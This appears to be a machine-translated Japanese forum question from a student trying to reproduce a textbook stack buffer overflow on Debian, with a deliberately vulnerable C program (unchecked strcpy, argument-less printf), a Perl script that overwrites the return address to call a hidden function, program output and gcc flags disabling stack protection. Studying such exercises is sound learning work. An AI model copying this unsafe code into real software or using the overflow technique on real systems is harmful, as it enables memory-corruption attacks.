私は最近、バッファ オーバーフローについて簡単に触れたセキュリティ クラスを受講しました。説明した内容に満足できなかったので、従うべきいくつかの例を探して自分で試してみたところ、バッファ オーバーフロー攻撃が見つかりました。
この例は、すべてが機能する理由を理解して理解するのが簡単なので気に入っています。私は従おうとしましたが、Windows ではなく Debian 仮想マシンで行いました。
これは、サイトの C コードです。
#pragma check_stack(off)
#include <string.h>
#include <stdio.h>
void foo(const char* input)
{
char buf[10];
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");
strcpy(buf, input);
printf("%s\n", buf);
printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}
void bar(void)
{
printf("Augh! I've been hacked!\n");
}
int main(int argc, char* argv[])
{
//Blatant cheating to make life easier on myself
printf("Address of foo = %p\n", foo);
printf("Address of bar = %p\n", bar);
if (argc != 2)
{
printf("Please supply a string as an argument!\n");
return -1;
}
foo(argv[1]);
return 0;
}
このコードは、foo と bar の 2 つの関数のアドレスを指定することで「チート」します。最終的な目標は、バッファ オーバーフローのみを使用してバーを実行することです。これを行うために、彼らは短い Perl スクリプトを提供しました。
$arg = "ABCDEFGHIJKLMNOP"."\x50\x10\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);
私は Windows ではなく Linux を使用しており、bar
関数のアドレスがわずかに異なっていたため、いくつかの簡単な修正を行いました。
$arg = "ABCDEFGHIJKLMNOP"."\xf7\x05\x40";
$cmd = "./prog ".$arg;
system($cmd);
彼らの例と同じように機能するはずだと思います。Perl スクリプトが実行され、フィラー テキストがプログラムに渡され、その後に実行する新しいリターン アドレスが続きますbar
。しかし、それは私にはうまくいきません。
これは、Perl スクリプトを実行した結果の出力です。
Address of foo: 0x400596
Address of bar: 0x4005f7
The current stack:
0x7fffe6b4abd8
0x7faba670c7a0
0x1d
0x6
0x7faba63b099a
0x7fffe6b4ad00
ABCDEFGHIJKLMNOPP�
Stack after input:
0x7ffc31998568
0x7f9a7c6ed7a0
0x7f9a7c421e50
0xf70550504f4e4d4c
0x7f9a7c39199a
0x7ffc31998690
私の出力では、フィラー テキストのいずれかを保持しているように見える唯一のアドレスは、最後のアドレスから 3 番目、リターン アドレスの直前のアドレスです。
この問題は、gcc を使用してプログラムをコンパイルしたことが原因であると思われますが、何が原因なのか正確にはわかりません。問題は Debian にある可能性もあります。プログラムをコンパイルした方法は次のとおりです。
gcc -z execstack -fno-stack-protector prog.c -o prog
私の希望は、スタック プロテクターなしでコンパイルすることで、問題なく例を追うことができるようになることでした。
どんな助けでも素晴らしいでしょう、私は完全に立ち往生しています。現実的には、単純に Windows に切り替えることもできますが、現時点では、Windows が機能しない理由と修正方法を本当に知りたいと思っています。